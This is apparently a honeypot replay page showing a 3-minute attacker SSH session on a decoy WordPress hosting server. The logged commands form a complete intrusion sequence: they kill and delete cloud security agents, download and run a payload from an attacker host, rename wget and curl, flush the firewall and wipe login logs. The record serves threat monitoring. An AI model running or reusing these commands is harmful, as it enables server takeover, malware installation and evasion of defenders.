← All sessions
Ended · replayGot in

Got in and set up a way to come back

on Singaporefrosty-anole-70i from Chisinau, Moldovaseen 2 times this weekSSH-2.0-PUTTY

root@sg-sin-gcp-1 · Singapore
connected from 🇲🇩 Chisinau, Moldova · SSH-2.0-PUTTY
root@sg-sin-gcp-1's password: 
Logged in as root
root@sg-sin-gcp-1:~# wdir="/tmp"
root@sg-sin-gcp-1:~# for i in "/dev/shm" "/tmp" "/var/tmp" "/home" "/root"; do
    touch "$i/test_exec" >/dev/null 2>&1
    chmod +x "$i/test_exec" >/dev/null 2>&1
    if [ -w "$i" ] && [ -x "$i/test_exec" ]; then
        wdir="$i"
        rm -f "$i/test_exec"
        break
    fi
    rm -f "$i/test_exec" >/dev/null 2>&1
done
root@sg-sin-gcp-1:~# cd "$wdir" || exit 1
root@sg-sin-gcp-1:/dev/shm# echo "$wdir"
/dev/shm
root@sg-sin-gcp-1:/dev/shm# for svc in aegis aliyun YDService tat_agent; do
    systemctl stop $svc >/dev/null 2>&1
    systemctl disable $svc >/dev/null 2>&1
    systemctl mask $svc >/dev/null 2>&1
done
root@sg-sin-gcp-1:/dev/shm# systemctl daemon-reload >/dev/null 2>&1
root@sg-sin-gcp-1:/dev/shm# if command -v chattr >/dev/null 2>&1; then
    chattr -R -i -a /usr/local/aegis/ >/dev/null 2>&1
    chattr -R -i -a /usr/local/qcloud/ >/dev/null 2>&1
fi
root@sg-sin-gcp-1:/dev/shm# pkill -9 AliYunDun >/dev/null 2>&1
root@sg-sin-gcp-1:/dev/shm# pkill -9 YDService >/dev/null 2>&1
root@sg-sin-gcp-1:/dev/shm# rm -rf /usr/local/aegis /usr/local/qcloud >/dev/null 2>&1
root@sg-sin-gcp-1:/dev/shm# download_vos() {
    local_arch=$(uname -m)
    SERVER_IP="[attacker]" 
    SERVER_URL="http://${SERVER_IP}/new.php?type=${local_arch}"
    target="new.txt"
    T_LIMIT=60
    MAX_ATTEMPTS=3
    attempt=1

    do_dl() {
        if command -v wget >/dev/null 2>&1; then
            wget --no-check-certificate -q -T $T_LIMIT "$SERVER_URL" -O "$target" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        if command -v curl >/dev/null 2>&1; then
            curl -skL -m $T_LIMIT "$SERVER_URL" -o "$target" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        if command -v good >/dev/null 2>&1; then
            good --no-check-certificate -q -T $T_LIMIT "$SERVER_URL" -O "$target" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        if command -v cool >/dev/null 2>&1; then
            cool -skL -m $T_LIMIT "$SERVER_URL" -o "$target" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        if command -v python3 >/dev/null 2>&1; then
            python3 -c "import urllib.request; urllib.request.urlretrieve('$SERVER_URL', '$target')" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        if command -v python >/dev/null 2>&1; then
            python -c "import urllib; urllib.urlretrieve('$SERVER_URL', '$target')" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        return 1
    }

    while [ $attempt -le $MAX_ATTEMPTS ]; do
        rm -f "$target" >/dev/null 2>&1
        
        do_dl &
        dl_pid=$!
        sec=0
        while [ $sec -lt $T_LIMIT ]; do
            if ! kill -0 $dl_pid 2>/dev/null; then
                wait $dl_pid
                break
            fi
            sleep 1
            sec=$((sec + 1))
        done
        kill -9 $dl_pid >/dev/null 2>&1

        if [ -s "$target" ]; then
            chmod +x "$target"
            setsid "./$target" >/dev/null 2>&1 &
            sleep 1
            if ! pgrep -f "$target" >/dev/null; then
                setsid sh "./$target" >/dev/null 2>&1 &
            fi
            return 0
        fi

        attempt=$((attempt + 1))
        sleep 2
    done

    return 1
}
root@sg-sin-gcp-1:/dev/shm# download_vos
root@sg-sin-gcp-1:/dev/shm# lock_tools() {
    if command -v chattr >/dev/null 2>&1; then
        chattr -i /usr/bin/wget /usr/bin/curl >/dev/null 2>&1
    fi
    w_path=$(which wget 2>/dev/null)
    [ -n "$w_path" ] && [ "$(basename "$w_path")" != "good" ] && mv "$w_path" "$(dirname "$w_path")/good" >/dev/null 2>&1
    c_path=$(which curl 2>/dev/null)
    [ -n "$c_path" ] && [ "$(basename "$c_path")" != "cool" ] && mv "$c_path" "$(dirname "$c_path")/cool" >/dev/null 2>&1
}
root@sg-sin-gcp-1:/dev/shm# lock_tools
root@sg-sin-gcp-1:/dev/shm# systemctl stop firewalld ufw >/dev/null 2>&1
root@sg-sin-gcp-1:/dev/shm# iptables -F >/dev/null 2>&1
root@sg-sin-gcp-1:/dev/shm# for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do [ -f "$log" ] && echo > "$log"; done
root@sg-sin-gcp-1:/dev/shm# exit
root@sg-sin-gcp-1:~# ls -la /var/run/gcc.pid
ls: cannot access '/var/run/gcc.pid': No such file or directory
root@sg-sin-gcp-1:~# exit $?
Connection to sg-sin-gcp-1 closed.

Logged out · 3m 18s inside

3:18 / 3:18
What they found: A web agency's WordPress serverA small web agency's cloud server that hosts a handful of client websites built on WordPress, with their databases on the same machine.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.